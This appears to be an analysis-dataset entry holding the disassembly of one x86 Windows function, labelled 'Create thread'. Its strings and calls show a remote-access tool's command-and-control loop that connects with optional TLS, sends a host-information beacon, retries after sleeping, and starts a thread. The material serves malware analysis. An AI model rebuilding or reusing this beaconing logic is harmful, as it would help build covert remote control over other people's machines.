Function at 0x413fd4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa2c
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
call fcn.00401faa
lea ecx, [ebp - 0x114]
call fcn.0041aa73
lea ecx, [ebp - 0x63c]
call fcn.00401faa
mov edi, 0x474358
push 0x29
mov ecx, edi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call fcn.0043a5e7
pop ecx
test eax, eax
je 0x41402e
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x46b8b8
call fcn.00401f66
sub esp, 0x18
mov ecx, edi
mov esi, esp
push 0
call fcn.00401d64
push eax
mov ecx, esi
call fcn.00401fbd
lea ecx, [ebp - 0x48]
call fcn.0041afc3
add esp, 0x30
xor ebx, ebx
call fcn.00404262
push 0x38
mov ecx, edi
call fcn.00401d64
mov edx, 0x465554
mov ecx, eax
call fcn.0040b125
test al, al
je 0x4140f0
push 0x38
mov ecx, edi
call fcn.00401d64
mov ecx, eax
call fcn.004022f8
push eax
push 0x38
mov ecx, edi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
push 0x37
mov ecx, edi
call fcn.00401d64
mov ecx, eax
call fcn.004022f8
push eax
push 0x37
mov ecx, edi
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
push 0x36
mov ecx, edi
call fcn.00401d64
mov ecx, eax
call fcn.004022f8
push 0x36
mov ecx, edi
mov esi, eax
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov edx, esi
mov ecx, eax
call fcn.00404101
add esp, 0x10
sub esp, 0x18
mov byte [0x4745d9], 1
mov ecx, esp
push 0x46b8bc
call fcn.00401f66
sub esp, 0x18
lea ecx, [ebp - 0x48]
mov esi, esp
push ebx
call fcn.00401d64
push eax
mov ecx, esi
call fcn.00401fbd
lea ecx, [ebp - 0xc]
call fcn.0041afc3
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.00401d64
push eax
push 0x46b8bc
push 0
lea ecx, [ebp - 0xc]
call fcn.00401d64
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.004085b4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.004027cb
pop ecx
push eax
mov ecx, 0x4745dc
call fcn.00401eef
lea ecx, [ebp - 0x24]
call fcn.00401eea
lea ecx, [ebp - 0x3c]
call fcn.00401eea
push 2
lea ecx, [ebp - 0xc]
call fcn.00401d64
mov edx, 0x4655b0
mov ecx, eax
call fcn.00405422
test al, al
je 0x41419a
mov byte [0x471b12], 0
mov eax, str.TLS_Off
jmp 0x4141a6
mov byte [0x471b12], 1
mov eax, str.TLS_On
push eax
lea ecx, [ebp - 0x84]
call fcn.0040541d
sub esp, 0x18
lea eax, [ebp - 0x84]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0x4745dc
push 0x46b8d0
push eax
call fcn.00404cbf
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00405ce6
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004027cb
sub esp, 0x14
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401eea
lea ecx, [ebp - 0x3c]
call fcn.00401eea
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov edx, esi
mov ecx, eax
call fcn.00413f9a
test eax, eax
je 0x41428f
sub esp, 0x18
mov esi, esp
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.0041bc76
push eax
mov edx, str.Connection_Error:
mov ecx, esi
call fcn.00404c9e
sub esp, 0x14
mov ecx, esp
push 0x4653b8
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401eea
mov esi, 0x4745a8
jmp 0x414b54
mov esi, 0x4745a8
mov ecx, esi
call fcn.004041f1
test al, al
jne 0x4142ca
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x4653b8
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
jmp 0x414b54
push 0
push 0x3c
mov ecx, esi
call fcn.00404915
push ecx
mov ecx, esi
call fcn.0040428c
test al, al
je 0x414b54
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push 1
call fcn.00401d64
push eax
push 0x46b8bc
push 0
lea ecx, [ebp - 0xc]
call fcn.00401d64
push eax
lea eax, [ebp - 0x84]
mov edx, str.Connected___
push 0x46b8d0
push eax
lea ecx, [ebp - 0xe4]
call fcn.00404cbf
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00405ce6
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004027cb
sub esp, 0x14
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
lea ecx, [ebp - 0x60]
call fcn.00401eea
lea ecx, [ebp - 0xb4]
call fcn.00401eea
lea ecx, [ebp - 0xcc]
call fcn.00401eea
lea ecx, [ebp - 0xe4]
call fcn.00401eea
xor eax, eax
lea edi, [ebp - 0xfc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
call fcn.0041a96d
push edx
push eax
lea eax, [ebp - 0xfc]
push str._I64u
push eax
call fcn.00413683
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0x474160
call fcn.004082dc
push 0xa
lea eax, [ebp - 0x6c]
push eax
push dword [0x4709d0]
call fcn.00440c51
add esp, 0xc
mov ecx, 0x474358
push 1
call fcn.00401d64
push eax
lea ecx, [ebp - 0x9c]
call fcn.00401fbd
mov esi, 0x474340
mov ecx, esi
call fcn.004022f8
push eax
mov ecx, esi
call fcn.00401e8f
push eax
push 0x104
lea eax, [ebp - 0xa28]
mov esi, 0x4742f8
push eax
push str.name
mov ecx, esi
call fcn.00401e8f
mov edx, eax
call fcn.0041265d
add esp, 0x14
test al, al
je 0x414446
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040541d
push ecx
push str.hlight
mov ecx, esi
call fcn.00401e8f
push eax
mov edx, connect
lea ecx, [ebp - 0x3c]
call fcn.00412513
mov eax, dword [0x471da0]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x414474
call eax
movzx edi, ax
push 0x471b80
lea ecx, [ebp - 0x60]
call fcn.00403b40
sub esp, 0x18
mov esi, esp
call fcn.0040cbf1
mov edx, eax
lea ecx, [ebp - 0x624]
call fcn.0041adee
push eax
mov ecx, 0x473ee8
lea eax, [ebp - 0x3c]
push ecx
push eax
push ecx
push 0x474394
push ecx
lea eax, [ebp - 0x114]
mov edx, 0x4742e0
push eax
push ecx
lea ecx, [ebp - 0x60c]
call fcn.0041aec8
push eax
push 0x473ee8
movzx edx, di
lea ecx, [ebp - 0x5f4]
call fcn.0041ad46
push eax
mov edi, 0x473ee8
lea ecx, [ebp - 0xc]
push edi
push 0x474328
push edi
push 0
call fcn.00401d64
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x5dc]
call fcn.0041ad46
push eax
push edi
call fcn.0041aca0
mov edx, eax
lea ecx, [ebp - 0x5c4]
call fcn.0041ad46
mov edx, dword [0x474144]
lea ecx, [ebp - 0x5ac]
push eax
push edi
call fcn.0041ad46
push eax
push edi
lea ecx, [ebp - 0x594]
call fcn.0041ac52
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.0041aec8
push eax
push edi
mov edx, 0x473d60
lea ecx, [ebp - 0x564]
call fcn.0041aec8
push eax
push edi
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x54c]
call fcn.0041aec8
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x534]
call fcn.0041aec8
push eax
push edi
push str.5.3.0_Pro
push edi
lea eax, [ebp - 0xfc]
mov edx, 0x4746d8
push eax
push edi
lea ecx, [ebp - 0x51c]
call fcn.0041aec8
push eax
push edi
push 0x474a10
push edi
lea ecx, [ebp - 0x504]
call fcn.0040e679
push eax
push edi
mov edx, 0x474364
lea ecx, [ebp - 0x4ec]
call fcn.0041aec8
push eax
push edi
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x4d4]
call fcn.004027ec
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4bc]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.004027cb
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040275c
pop ecx
mov esi, 0x4745a8
push 0x4b
mov ecx, esi
call fcn.00404468
lea ecx, [ebp - 0xe4]
call fcn.00401eea
lea ecx, [ebp - 0xcc]
call fcn.00401eea
lea ecx, [ebp - 0xb4]
call fcn.00401eea
lea ecx, [ebp - 0x12c]
call fcn.00401eea
lea ecx, [ebp - 0x144]
call fcn.00401eea
lea ecx, [ebp - 0x15c]
call fcn.00401eea
lea ecx, [ebp - 0x174]
call fcn.00401eea
lea ecx, [ebp - 0x18c]
call fcn.00401eea
lea ecx, [ebp - 0x1a4]
call fcn.00401eea
lea ecx, [ebp - 0x1bc]
call fcn.00401eea
lea ecx, [ebp - 0x1d4]
call fcn.00401eea
lea ecx, [ebp - 0x1ec]
call fcn.00401eea
lea ecx, [ebp - 0x204]
call fcn.00401eea
lea ecx, [ebp - 0x21c]
call fcn.00401eea
lea ecx, [ebp - 0x234]
call fcn.00401eea
lea ecx, [ebp - 0x24c]
call fcn.00401eea
lea ecx, [ebp - 0x264]
call fcn.00401eea
lea ecx, [ebp - 0x27c]
call fcn.00401eea
lea ecx, [ebp - 0x294]
call fcn.00401eea
lea ecx, [ebp - 0x2ac]
call fcn.00401eea
lea ecx, [ebp - 0x2c4]
call fcn.00401eea
lea ecx, [ebp - 0x2dc]
call fcn.00401eea
lea ecx, [ebp - 0x2f4]
call fcn.00401eea
lea ecx, [ebp - 0x30c]
call fcn.00401eea
lea ecx, [ebp - 0x324]
call fcn.00401eea
lea ecx, [ebp - 0x33c]
call fcn.00401eea
lea ecx, [ebp - 0x354]
call fcn.00401eea
lea ecx, [ebp - 0x36c]
call fcn.00401eea
lea ecx, [ebp - 0x384]
call fcn.00401eea
lea ecx, [ebp - 0x39c]
call fcn.00401eea
lea ecx, [ebp - 0x3b4]
call fcn.00401eea
lea ecx, [ebp - 0x3cc]
call fcn.00401eea
lea ecx, [ebp - 0x3e4]
call fcn.00401eea
lea ecx, [ebp - 0x3fc]
call fcn.00401eea
lea ecx, [ebp - 0x414]
call fcn.00401eea
lea ecx, [ebp - 0x42c]
call fcn.00401eea
lea ecx, [ebp - 0x444]
call fcn.00401eea
lea ecx, [ebp - 0x45c]
call fcn.00401eea
lea ecx, [ebp - 0x474]
call fcn.00401eea
lea ecx, [ebp - 0x48c]
call fcn.00401eea
lea ecx, [ebp - 0x4a4]
call fcn.00401eea
lea ecx, [ebp - 0x4bc]
call fcn.00401eea
lea ecx, [ebp - 0x4d4]
call fcn.00401eea
lea ecx, [ebp - 0x4ec]
call fcn.00401eea
lea ecx, [ebp - 0x504]
call fcn.00401eea
lea ecx, [ebp - 0x51c]
call fcn.00401eea
lea ecx, [ebp - 0x534]
call fcn.00401eea
lea ecx, [ebp - 0x54c]
call fcn.00401eea
lea ecx, [ebp - 0x564]
call fcn.00401eea
lea ecx, [ebp - 0x57c]
call fcn.00401eea
lea ecx, [ebp - 0x594]
call fcn.00401e13
lea ecx, [ebp - 0x5ac]
call fcn.00401eea
lea ecx, [ebp - 0x5c4]
call fcn.00401eea
lea ecx, [ebp - 0x5dc]
call fcn.00401eea
lea ecx, [ebp - 0x5f4]
call fcn.00401eea
lea ecx, [ebp - 0x60c]
call fcn.00401eea
lea ecx, [ebp - 0x624]
call fcn.00401eea
lea ecx, [ebp - 0x60]
call fcn.00401e13
push 1
push 0x414b9b
mov ecx, esi
call fcn.004045d5
mov eax, dword [0x471da4]
test eax, eax
je 0x414adb
cmp byte [0x471da8], 0
je 0x414adb
call eax
mov byte [0x471da8], 0
cmp byte [0x474142], 0
je 0x414aee
mov ecx, 0x4740f8
call fcn.0040a767
call fcn.00405415
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x465510
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
cmp byte [0x471ddd], 0
je 0x414b34
xor eax, eax
push eax
push eax
push eax
push fcn.00419e89
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x3c]
call fcn.00401eea
lea ecx, [ebp - 0x9c]
call fcn.00401eea
lea ecx, [ebp - 0x24]
call fcn.00401e13
mov edi, 0x474358
mov ecx, esi
call fcn.004047eb
lea ecx, [ebp - 0x48]
inc ebx
call fcn.004020b4
cmp ebx, eax
jb 0x414b8e
push 2
mov ecx, edi
xor ebx, ebx
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
push eax
call fcn.0043a5e7
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.00401d8c
jmp 0x4140f0